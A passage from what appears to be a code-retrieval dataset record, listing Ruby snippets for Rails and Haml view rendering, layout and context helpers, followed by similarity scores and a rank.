add_to_stack, has_strict_locals: strict_locals?, &block)\n nil\n else\n view._run(method_name, self, locals, OutputBuffer.new, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)&.to_s\n end\n end\n rescue => e\n handle_render_error(view, e)\n end", "def activate_new_nested_form(name, label='Add Another', tag='span', &blk)\n options = {:class => \"#{dynamic_name name}_trigger dynamic_trigger\"}\n if block_given?\n @template.content_tag tag, options, &blk\n else\n @template.content_tag tag, label, options\n end\n end", "def widget(target, assigns={}, &block)\n child = if target.is_a? Class\n target.new(assigns, &block)\n else\n unless assigns.empty?\n raise \"Unexpected second parameter. Did you mean to pass in variables when you instantiated the #{target.class.to_s}?\"\n end\n target\n end\n child.write_via(self)\n end", "def wrap_in_layout #:nodoc:\n if @options[:layout]\n ERB.new(@options[:layout]).result(binding)\n else\n yield\n end\n end", "def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end", "def initialize(&block)\n super\n self.window_title = WINDOW_TITLE\n self.central_widget = Qt::Frame.new do |frame|\n frame.layout = Qt::VBoxLayout.new do |outer|\n outer.margin = 9\n outer.spacing = 6\n outer.add_widget(CurrencyView.new)\n outer.add_widget(TokenView.new)\n end\n end\n create_actions\n create_menus\n create_toolbars\n create_status_bar\n read_settings\n end", "def run(context, options = {})\n #@block.call(options)\n\n if @options[:defaults]\n options = @options[:defaults].merge(options)\n end\n\n context.instance_exec(options, &@block)\n end", "def render(options=nil, deprecated_status_or_extra_options=nil, &block)\n if ::Rails::VERSION::STRING >= '2.0.0' && deprecated_status_or_extra_options.nil?\n deprecated_status_or_extra_options = {}\n end\n \n unless block_given?\n unless integrate_views?\n if @template.respond_to?(:finder)\n (class << @template.finder; self; end).class_eval do\n define_method :file_exists? do; true; end\n end\n else\n (class << @template; self; end).class_eval do\n define_method :file_exists? do; true; end\n end\n end\n (class << @template; self; end).class_eval do\n define_method :render_file do |*args|\n @first_render ||= args[0] unless args[0] =~ /^layouts/\n end\n \n define_method :pick_template do |*args|\n @_first_render ||= args[0] unless args[0] =~ /^layouts/\n PickedTemplate.new\n end\n end\n end\n end\n\n if matching_message_expectation_exists(options)\n expect_render_mock_proxy.render(options, &block)\n @performed_render = true\n else\n if matching_stub_exists(options)\n @performed_render = true\n else\n super(options, deprecated_status_or_extra_options, &block)\n end\n end\n end", "def method_missing(sym, *args, &block)\n if matches = sym.to_s.match(/^.*(?=_view$)|view$/)\n return Tanuki::Loader.run_template(\n {},\n self,\n matches[0].to_sym,\n *args,\n &block\n )\n end\n super\n end", "def within_context(context, &block)\n block_given? ? @bridge.within_context(context, &block) : @bridge.within_context(context)\n end", "def build\n view\n self\n end", "def render_template(context, options); end", "def context(&block); end", "def context(&block); end", "def render(view, locals, buffer = T.unsafe(nil), add_to_stack: T.unsafe(nil), &block); end", "def build_root(&block)\n @stack = []\n self.instance_eval(&block)\n\n build_root_from_stack\n end", "def create_block2\n <<-CODE\n t1 = stack_pop(); /* the method */\n t4 = c->active_context;\n\n t3 = Qnil;\n if(block_context_p(state, t4)) {\n t3 = blokctx_home(state, t4);\n } else {\n t3 = t4;\n }\n\n methctx_reference(state, t4);\n methctx_reference(state, t3);\n\n cmethod_set_staticscope(t1,\n cmethod_get_staticscope(cpu_current_method(state, c)));\n\n t2 = blokenv_s_under_context2(state, t1, t3, t4);\n stack_push(t2);\n CODE\n end", "def method_missing(method, *args, &block)\n view.send(method, *args, &block)\n end", "def use(middleware, &block)\n template = middleware\n objects.push(template)\n end", "def add_view(view)\n\n # Enter\n view.signal_connect('motion-notify-event') do |view, event|\n motion_handler(view, event)\n end\n\n # Leave\n view.signal_connect('leave-notify-event') do |view, event|\n leave_handler(view, event)\n end\n end", "def capture_from_template(*args, &block)\n engine_matches?(block) ? template.capture_haml(*args, &block) : yield(*args)\n end", "def with_context(cont, merge = true)\n raise \"Block missing\" unless block_given?\n cont_bak = @context\n if merge\n @context = @context.merge(cont)\n else\n @context = cont\n end\n res = yield\n @context = cont_bak\n res\n end", "def _h\n @view_context\n end", "def factory_twiml_block(meth, *args)\n if meth =~ /twiml_appointments_/\n klass = meth.to_s.gsub(\"twiml_appointments_\", \"skej/twiml/appointments/\").classify\n else\n klass = meth.to_s.gsub(\"twiml_\", \"skej/twiml/\").classify\n end\n\n # Make the string representation a real Class object.\n klass = klass.constantize\n\n # Prepare view local variables\n data = { device: @device, session: @session, debug: generate_debug_formatted_message }\n if args.length > 0 and args[0].kind_of? Hash\n data.merge! args[0]\n end\n\n log \"twiml_view_factory -> #{klass.name.underscore}\"\n\n # Instantiate the new instance from the dynamic Klass\n # we generated earlier.\n instance = klass.new(data)\n\n # Return the TwiML view instance\n instance\n end", "def render_body(context, options); end", "def mock_app(&block)\n path = default_views_path\n @app = Renee::Core.new(&block).setup {\n views_path path\n }\n end", "def within_context(context)\n block_given? ? @bridge.within_context(context, &Proc.new) : @bridge.within_context(context)\n end", "def render(context, options); end", "def add(child, left, right, top, bottom, &block)\n super(child, false, &block)\n\n gtk_instance.attach(child.gtk_instance, left, right, top, bottom)\n end", "def generate_block_context(context:, block_param_node:)\n binds = ArgumentsBinder.new(generator: generator).bind(types: method_types, arguments: block_param_node.parameter)\n\n Contexts::BlockContext.new(parent: context, registry: registry, receiver: context.receiver, binds: binds)\n end", "def create_view()\n raise RuntimeError.new(\"Class #{self.class.name} must implement a ::create_view() method.\")\n end", "def initialize(view, *args, &block)\n raise \"Trying to instantiate abstract class for #{self.class}\" if abstract_class?\n super(*[view, block])\n manage_args(*args)\n instance_exec(self, &callback)\n end", "def set_context(path = nil, &block)\n @source.context = path || block\n end", "def with *args, &block\n @current.args = args\n @current.block = block\n self\n end", "def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end", "def new_instance(*contexts, **locals)\n Renderer.new(*(contexts | @contexts), **locals)\n end", "def new\n\t\t@block = Block.new\n\tend", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def create\n @block = Post::CreateBlock.new(@post, find_block).perform\n end", "def render(options = {}, locals = {}, &block)\n case options\n when Hash\n if block_given?\n (try(:controller) || self).view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)\n else\n (try(:controller) || self).view_renderer.render(self, options)\n end\n else\n if options < ActiveView::Base\n view_renderer.render_view(self, options, controller, locals, &block)\n else\n (try(:controller) || self).view_renderer.render_partial(self, :partial => options, :locals => locals)\n end\n end\n end", "def action( & block )\n \n return new_stack_frame( nil, & block )\n \n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def initialize(object, view_context: self.class.default_view_context)\n __setobj__(object)\n @view_context = view_context\n end", "def create(options = {}, &block)\n OrigenTesters::Interface.with_resources_mode do\n orig_create(options, &block)\n end\n end", "def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end", "def create_view(name, content, engine=:erb)\n FileUtils.mkdir_p(default_views_path)\n file = File.join(default_views_path, name.to_s + \".#{engine}\")\n File.open(file, 'w') { |io| io.write content }\n end", "def new_block_el(*args); end", "def render(template, local_assigns={})\n @view.instance_eval do\n evaluate_assigns\n end\n\n options = @@options.dup\n locals = options[:locals] || {}\n locals.merge! local_assigns\n options[:locals] = locals\n\n if @view.haml_inline\n engine = Haml::Engine.new(template, options)\n else\n options[:filename] ||= template\n engine = Haml::Engine.new(File.read(template), options)\n end\n\n yield_proc = @view.instance_eval do\n proc { |*name| instance_variable_get(\"@content_for_#{name.first || 'layout'}\") }\n end\n\n engine.to_html(@view) { |*args| yield_proc.call(*args) }\n\n end", "def do_create\n @layer.block = @block\n if @layer.save\n redirect_to edit_block_path(@block), notice: 'Layer created'\n else\n render action: \"new\"\n end\n end", "def view_template(source, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first || source.sub(/\\.tt$/, '')\n \n source = File.expand_path(source.to_s)\n context = instance_eval('binding')\n \n create_file destination, nil, config do\n content = ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)\n content = block.call(content) if block\n content\n end\n end" ]
[ "0.6718354", "0.6218812", "0.5994188", "0.59564203", "0.589082", "0.584812", "0.56957126", "0.56379354", "0.56353474", "0.55646044", "0.5507839", "0.54971176", "0.5475263", "0.5443148", "0.5407258", "0.5381738", "0.5373539", "0.5352424", "0.53271246", "0.5266663", "0.5238476", "0.5214837", "0.5200828", "0.5197675", "0.51621586", "0.51510024", "0.5142046", "0.51367325", "0.51104915", "0.50996137", "0.50845534", "0.50494266", "0.50432587", "0.5032182", "0.50314385", "0.5020988", "0.49801627", "0.4975825", "0.49495667", "0.49478328", "0.49407843", "0.49397287", "0.49382877", "0.49309254", "0.49292883", "0.49260744", "0.49256712", "0.49103433", "0.4892846", "0.48917022", "0.48849863", "0.48561168", "0.485373", "0.4837026", "0.48353186", "0.482572", "0.48180932", "0.4815122", "0.4812162", "0.4794148", "0.47915995", "0.47902462", "0.47843444", "0.47843444", "0.47830716", "0.47823745", "0.47737435", "0.47725552", "0.477194", "0.4770133", "0.47647533", "0.4763048", "0.47593948", "0.4755525", "0.47554007", "0.47522226", "0.4745084", "0.47416958", "0.47401533", "0.47305936", "0.4730468", "0.4729995", "0.47291434", "0.47269365", "0.47260797", "0.47210354", "0.47204813", "0.4715555", "0.47130823", "0.47123158", "0.4712122", "0.47105348", "0.47046342", "0.4689563", "0.46865523", "0.46836796", "0.4681116", "0.4677596", "0.46775195", "0.46761692" ]
0.49613997
38
Retrieves a view by its element id. This will return the first view with this element_id in the tree, where first means the first object that was added with that name.
def get(element_id) unless is_parent_layout? return parent_layout.get(element_id) end @elements[element_id] && @elements[element_id].first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_view_for_viewid(view_id)\n\tp view_id\n\thttp = create_http\n\trequest = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n\tresponse = http.request(request)\n\tviews = JSON.parse(response.body)['views']\n\tviews.each do |view|\n\t\tp view\n\t\tif view['id'] == view_id\n\t\t\treturn view\n\t\tend\n\tend\nend", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def GetView id\n\n APICall(path: \"views/#{id}.json\")\n\n end", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def getObject(id)\n\t\tdoc.search(\"[@id='#{id}']\").first\n\tend", "def get_element id\n @elements[id.to_s]\n end", "def find id\n model.find id\n end", "def get_node(id)\n get_object('node', id)\n end", "def by_name(name)\n elt = self[name]\n return elt unless elt.nil?\n\n @elements.each_key do |subelt_name|\n if self[subelt_name].is_a?(Model)\n elt = self[subelt_name][name]\n return elt unless elt.nil?\n end\n end\n\n nil\n end", "def find(id)\n find_by_index(id: id)\n end", "def get_view(view_name)\r\n\t\t\tself.get_design_note(view_name, API::DFLAGPAT_VIEWS_AND_FOLDERS, View)\r\n\t\tend", "def find(id)\n @collection[id.to_s]\n end", "def getViewObject(ixNet, viewName)\r\n views = @ixNet.getList('/statistics', 'view')\r\n viewObj = ''\r\n editedViewName = '::ixNet::OBJ-/statistics/view:\\\"' + viewName + '\\\"'\r\n for view in views\r\n if editedViewName == view then\r\n viewObj = view\r\n break\r\n end\r\n end\r\n return viewObj\r\nend", "def get(template_id)\n id = connection.rname_to_id(template_id, :template)\n all.select { |template| template.id == String(id) }.first\n end", "def find(id)\n @objects[id]\n end", "def edit\n id = params[:id].presence || 0 \n @element = @@model.find(id)\n end", "def find(id)\n first(\"Id = '#{id}'\")\n end", "def find(id)\n begin\n @@grid.get(id)\n rescue\n nil\n end\n end", "def view_first\n return @vassals[0].view_first\n end", "def find(id)\n @document\n end", "def find(id)\n @document\n end", "def get id\n doc = database.get id\n new(doc)\n end", "def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end", "def view(name = \"\", viewpoint: :total, elements: :all, relationships: :for_elements)\n dia = __model.diagrams.find { |diagram| diagram.name == name }\n __model.remove_reference(dia) if dia\n __model.diagrams << View.new(__model, name, dia&.id, viewpoint, elements, relationships).render\n end", "def find(id)\n repository.find(id).documents.first\n end", "def child_by_id(id, scope = {})\n children_by_id(id, scope).first\n end", "def retrieve\n self.class.get( id )\n end", "def find_by_id(id)\n find(id)\n end", "def find(id)\n end", "def get(id)\n klass.find(:first, params: { klass.primary_key => wrap_key(id) })\n end", "def find_by_id(id)\n find_by_attributes(:id => id).first\n end", "def get_object_by_id(class_name, id)\n obj = nil\n get_objects_of_class(class_name).each do |o|\n if o.id == id\n obj = o\n break\n end\n end\n obj\n end", "def find\n self.class.find(@view.layout)\n end", "def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end", "def node_by_id(id)\r\n @nodes.each do |n|\r\n return n if n.attributes['id'] == id \r\n end\r\n end", "def get_node_by_id(id, options={})\n options[:exactget] ||= {}\n options[:exactget][:id] = id.to_s\n ret = get_nodes(options)\n if ret.empty?\n warn \"Cannot find node #{name}\"\n ret = nil\n elsif ret.values.size == 1\n ret = ret.values[0]\n else\n raise \"Multiple nodes returned for #{name}\"\n end\n ret\n end", "def find(id)\n klass.find(id)\n end", "def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end", "def element(id, params = {})\n get \"elements/#{id}\", {query: params}\n end", "def find_element(id, model)\n case model.downcase\n when 'work'\n return Work.find(id)\n when 'basicfile'\n return BasicFile.find(id)\n when 'singlefileinstance'\n return SingleFileInstance.find(id)\n when 'orderedinstance'\n return OrderedInstance.find(id)\n when 'person'\n return AuthorityMetadataUnit.find(id)\n else\n raise 'Unknown element type'\n end\n end", "def selected_view\n return @data[self.index].view\n end", "def selected_view\n return @data[self.index].view\n end", "def locate(id)\n return self if are_you(id)\n \n i = @inv.fetch(id)\n return i if !i.nil?\n \n return nil\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def get(id)\n collection.find_one({\n Crocoduck::Store.id_field => id.to_i\n })\n end", "def get_node(id)\n @nodes[id.to_i]\n end", "def path_to_view view\n paths_to_view(view).first\n end", "def get_object_from_db_id(db_object_id)\n get_object_from_db_object(@db_class.find(db_object_id))\n end", "def get_view(viewname, params = nil)\n raise \"get_view not implemented\"\n end", "def get_element(path)\n elements = get_elements(path)\n elements[0] if elements\n end", "def find(id)\n where({'id' => \"#{id}\"}).first\n end", "def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end", "def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end", "def find(id); end", "def find(id); end", "def get id\n @nodes[id]\n end", "def find(id)\n code, data = @session.get(element_path(id) + '.json')\n if code == 200\n key = @resource.name.to_s.split('::').last.downcase\n @resource.new(data[key].merge(:session =>@session))\n elsif code == 404\n raise ResourceNotFound\n end\n end", "def get_object(name)\n gtk_builder_get_object(@builder, name)\n end", "def get_document(id)\n @session.getDocument id\n end", "def find(id)\n sort() unless @sorted\n @tree.bsearch { |x| x.id == id }\n end", "def project(id)\n @xml.search(\"object[@id='#{id}']\")\n end", "def find(id)\n fetch([name, id]) do\n super\n end\n end", "def find(id)\n repository.find(self, id)\n end", "def find(id)\n self.detect{|x| x.id == id.to_i}\n end", "def locate(id)\n return self if are_you(id)\n\n # Try Inventory\n i = @inv.fetch(id)\n return i if !i.nil?\n\n return nil\n end", "def get(id)\n # @notes = sort_by(@options[:sort_by])\n @notes = sort(@notes)\n parent, child = id\n return child ? @notes[parent].childs[child] : @notes[parent]\n end", "def fetch(id)\n search(id: id)[:records].first\n end", "def set_view\n @view = View.find(params[:id])\n end", "def element(name)\n elements.find { |el| el.name == name.to_s }\n end", "def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end", "def get(id)\n @documents[id.to_i]\n end", "def specific_show(model, id)\n model.find(id)\n end", "def find_by_id(goid)\n self[goid]\n end", "def element_by_id(elem_id)\n @web_browser.element_by_id(elem_id)\n end", "def lookup(id)\n\t\t@objects[id]\n\tend", "def []( id )\n get_node_by_id( id ) ||\n get_edge_by_id( id )\n end", "def []( id )\n get_tree_by_id( id ) ||\n get_network_by_id( id )\n end", "def find(id)\n @entries_by_id[id]\n end", "def get_by_unique(id)\n Event.new(self, @connection.request(:show_by_origin, {:id => id}))\n end", "def [](id)\n @by_id[id]\n end", "def find( model, name )\n model( model )[name ] rescue nil\n end", "def find(doc_name, view, params=nil)\n design_doc_url = build_design_uri(doc_name, view, params)\n get(design_doc_url)\n end", "def scaffold_get_object(id)\n self.get(id) || (raise scaffold_error_raised)\n end", "def initialize_element(elem, element_id)\n if elem.is_a?(Class) && elem < TreeLayout\n layout = elem.new\n elem = layout.view\n elsif elem.is_a?(Class)\n elem = elem.new\n elsif elem.is_a?(TreeLayout)\n layout = elem\n elem = elem.view\n end\n\n if layout\n if element_id\n name_element(layout, element_id)\n end\n @child_layouts << layout\n elsif element_id\n name_element(elem, element_id)\n end\n\n return elem\n end", "def element_by_id(elem_id)\r\n @web_browser.element_by_id(elem_id)\r\n end", "def first\n @adapter.first(collection)\n end", "def show\n @element = Element.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @element }\n end\n end", "def show\n @element = Element.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @element }\n end\n end", "def item(id)\n Item.find(id)\n end", "def show(id)\n GistObject.new(get(format(SHOW, id)))\n end", "def get_by_db4o_id(id)\n obj = database.get_by_id(id.to_i)\n # NOTE: Activate depth should be configurable\n database.connection.activate(obj, 5)\n obj.load_attributes!\n end", "def get_view(title, fallback: nil)\n Doing.setting(['views', title], fallback)\n end", "def result(name = nil)\n element_ids.to_a.id_to_element_route(:based_on => self, :name => name)\n end", "def object_by_id(id)\n @lock.synchronize do\n object_by_id_internal(id)\n end\n end", "def obtain(klass, root = Object)\n Innate.sync do\n view_name = /^#{klass.to_s.downcase.dup.delete('_')}$/i\n if view = View.constants.grep(view_name).first\n root.const_get(view)\n else\n raise(NameError, \"View #{klass} not found\")\n end\n end\n end" ]
[ "0.73772925", "0.6744815", "0.6630552", "0.64079195", "0.6389456", "0.62126046", "0.62126046", "0.61491805", "0.6118278", "0.6085293", "0.58730686", "0.57459897", "0.559827", "0.55873704", "0.55843574", "0.5556955", "0.5551289", "0.5523504", "0.55211735", "0.5516315", "0.5484718", "0.5473639", "0.5441867", "0.5399379", "0.5399379", "0.5392378", "0.5373933", "0.53736925", "0.5372052", "0.5370418", "0.53596497", "0.535947", "0.5359096", "0.5351041", "0.53481853", "0.5334436", "0.5318376", "0.531618", "0.5312932", "0.5309991", "0.5308246", "0.53033614", "0.53007275", "0.5294998", "0.52816254", "0.52816254", "0.52784956", "0.5262074", "0.5262074", "0.52400595", "0.52352446", "0.52157044", "0.5197934", "0.5184407", "0.5183221", "0.5169346", "0.51514965", "0.5151136", "0.51502514", "0.51502514", "0.5141791", "0.51414543", "0.5119642", "0.51156294", "0.5114838", "0.51117903", "0.5108844", "0.5101965", "0.50971806", "0.509214", "0.50915676", "0.508085", "0.50712216", "0.5059558", "0.50525457", "0.5048242", "0.5043105", "0.50420946", "0.50375867", "0.5033106", "0.50320506", "0.5030071", "0.5029595", "0.5028489", "0.5021652", "0.5011738", "0.50094986", "0.50037855", "0.49982774", "0.49921536", "0.4990218", "0.49894014", "0.49894014", "0.4981557", "0.49671888", "0.4962404", "0.49554974", "0.4953969", "0.49475914", "0.49435928" ]
0.63835335
5
Just like `get`, but if `get` returns a Layout, this method returns the layout's view.
def get_view(element_id) element = get(element_id) if element.is_a?(Layout) element = element.view end element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def find\n self.class.find(@view.layout)\n end", "def layout\n lookup_layout\n end", "def layout \n return @layout\n end", "def layout\n self.class.layout || @app.layout\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def layout\n @layout\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def get_layout\n layout ||= Spree::Config[:layout]\n end", "def get_layout(layout)\n logger.debug( [ 'layout', \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\" ] )\n \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\"\n end", "def get_layout\n layout ||= Spree::Frontend::Config[:layout]\n end", "def layout_name\n controller = @tracker.controllers[@current_class]\n\n return controller[:layout] if controller[:layout]\n return false if controller[:layout] == false\n\n app_controller = @tracker.controllers[:ApplicationController]\n\n return app_controller[:layout] if app_controller and app_controller[:layout]\n\n nil\n end", "def current_layout\n controller.send :_layout # private method\n end", "def layout\n nil\n end", "def layout(value = nil)\n if value\n @layout = value\n else\n @layout\n end\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def layout\n properties[:layout]\n end", "def layout\n nil\n end", "def layout(value = nil)\n if value.nil?\n @layout ||= nil\n @_layout ||= Rendering::LayoutFinder.find(@layout || configuration.layout, configuration.namespace)\n elsif !value\n @layout = Hanami::View::Rendering::NullLayout\n else\n @layout = value\n end\n end", "def [](layout_name)\n layouts[layout_name]\n end", "def current_layout\n @site_layout ||= SiteLayout.first\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def lookup_layout\n return \"{{{content}}}\" if metadata.key?('layout') && !metadata['layout']\n\n name = metadata['layout'] || 'page'\n name = name + '.mustache' unless name.end_with?('.mustache')\n\n path = ::File.join('_layouts', name)\n dir = ::File.join(wiki.path, ::File.dirname(file.path))\n\n layout_file = lookup_path(path, dir)\n\n if layout_file\n IO.read(layout_file)\n else\n default_layout\n end\n end", "def get_layout_from_params\n params[:layout] ? params[:layout] : 'application' \n end", "def find_layout\n return nil if @model.nil?\n layout_name = @special_layout[@model] || @model.to_s.tableize + ' (table)'\n if (layout = layout_or_nil(layout_name))\n LOG.info(\"\\n==== Model: #{@model.to_s} <- Layout: #{layout.name} ====\")\n return layout\n else \n LOG.warn \"WARNING: Layout \\\"#{layout_name}\\\" does not exist.\"\n return nil\n end\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_search_layout(layout)\n get_user_search_layout(layout) ||\n get_system_search_layout(layout) ||\n nil\n end", "def get_layout\n ActiveSupport::Deprecation.warn(<<-DEPRECATION, caller)\n ControllerHelpers::Common is deprecated and will be removed in Spree 5.0.\n DEPRECATION\n return unless defined?(Spree::Frontend)\n\n layout ||= Spree::Frontend::Config[:layout]\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def current_layout\n config = PSDK_CONFIG.layout.choices\n return config[$scene.class.to_s] || config[:any]\n end", "def layout_or_nil(layout_name)\n begin\n if (layout = Rfm.layout(layout_name)).table then layout; end\n rescue nil\n end\n end", "def layout(&block)\n layout = Layout.new\n layout.instance_eval(&block)\n # return the layout descriptor\n layout\n end", "def layout_class val = nil\n @layout_class = val if val\n @layout_class\n end", "def getLayoutData\n @layoutData\n end", "def get_layout(tpl)\n layout = \"#{tpl}_layout\"\n return layout if File.exists?(self.get_tpl_file(layout))\n\n items = tpl.split(/\\//)\n items.pop\n items << 'layout'\n layout = File.join(*items)\n return layout if File.exists?(self.get_tpl_file(layout))\n\n return \"layout\" if File.exists?(self.get_tpl_file(\"layout\"))\n\n return nil\n end", "def controller_layout\n layout = self.send(:_layout)\n if layout.instance_of? String\n layout\n else\n File.basename(layout.identifier).split('.').first\n end\n end", "def default_layout_for_request\n return params[:__layout] if params[:__layout]\n return params[:layout] if params[:layout]\n 'application'\n end", "def layout(name=:layout, &b)\n template(name, &b)\n end", "def get_layout\n layout ||= Amz::Config[:layout] \n layout = Amz::Config[:amp_layout] \n # layout = Amz::Config[:mobile_layout] if browser.mobile?\n # layout = Amz::Config[:tablet_layout] if browser.tablet?\n layout\n end", "def [](field_name)\n @layout.__get(field_name, self)\n end", "def default_layout\n nil\n end", "def layout\n\n raise \"Missing bulletin for layout object!\" if (! self.bulletin)\n \n raise \"Missing layout style/name for layout object!\" if (! self.name)\n\n # assume everything prepared if this is already set (caching!)\n return @layout if (@layout)\n\n # Load layout from the database\n while (! @layout)\n @layout = TempletLayout.find(:first, \n :conditions => ['templet_id = ? AND name = ?', self.bulletin.templet_id, self.name ])\n if !@layout and self.name == 'print'\n # set to main, if print layout not found\n self.name = 'main'\n elsif not @layout\n raise \"Invalid layout selected!\" if (! @layout) \n end\n end\n \n \n # copy the details accross for the layout\n self.filetype = @layout.filetype\n self.charset = @layout.charset\n \n return @layout\n end", "def choose_layout\n Rails.configuration.blog.layout\n end", "def layout(method = nil)\n @layout = method || @layout\n end", "def determine_layout\n return @__layout if @__layout\n return false if params[:_no_layout] || request.xhr?\n\n @__layout ||= current_page.layout.try(:template) if current_page.present? \n @__layout ||= 'application/default'\n @__layout\n end", "def view_class_name\n view_class_components.join('_').camelize.sub(/^Layouts/, '')\n end", "def current_layout\n config = PSDK_CONFIG.layout.messages\n return config[$scene.class.to_s] || config[:any]\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def layout_contents\n layout.render(self)\n end", "def get_page_layout(params)\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def get_layout\n\tlogged_in? and :page_user or :page_visitor\nend", "def get_page_layout\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def get_view(view_name)\r\n\t\t\tself.get_design_note(view_name, API::DFLAGPAT_VIEWS_AND_FOLDERS, View)\r\n\t\tend", "def determine_layout\n 'akinu'\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def set_layout\n @layout = Layout.find(params[:id])\n end", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def resolve_layout\n case action_name\n when 'index'\n 'dashboard'\n else\n 'application'\n end\n end", "def default_layout\n 'default' if html?\n end", "def get_view_definition(design, view)\n design_documents = read_inheritable_attribute(:design_documents) || {}\n design_doc = design_documents[design.to_s]\n return nil unless design_doc\n return design_doc[:views][view]\n end", "def view\n @_view\n end", "def layout_for(klass)\n memoized_klass = memoize(klass)\n memoized_klass && memoized_klass.new\n end", "def static_layout\n nil\n end", "def determine_layout\n ['show'].include?(action_name) ? 'application' : nil \n end", "def layout(name=:layout, &block)\n return super(name, &block) if block_given?\n @_layout = name\n end", "def show\n @layout = Layout.with_permissions_to(:show).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @layout }\n end\n end", "def layout_for(area = :reader)\n default = Radiant::Config[\"#{area}.layout\"]\n name = if self.respond_to?(\"#{area}_layout\") && layout = self.send(\"#{area}_layout\".intern)\n layout.name\n elsif layout = Layout.find_by_name(default)\n layout.name\n elsif layout = self.reader_layout\n layout.name\n end\n name\n end", "def path_to_view view\n paths_to_view(view).first\n end", "def get_view\n\t\treturn \"content_widget\"\n\tend", "def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def admin_layout \n 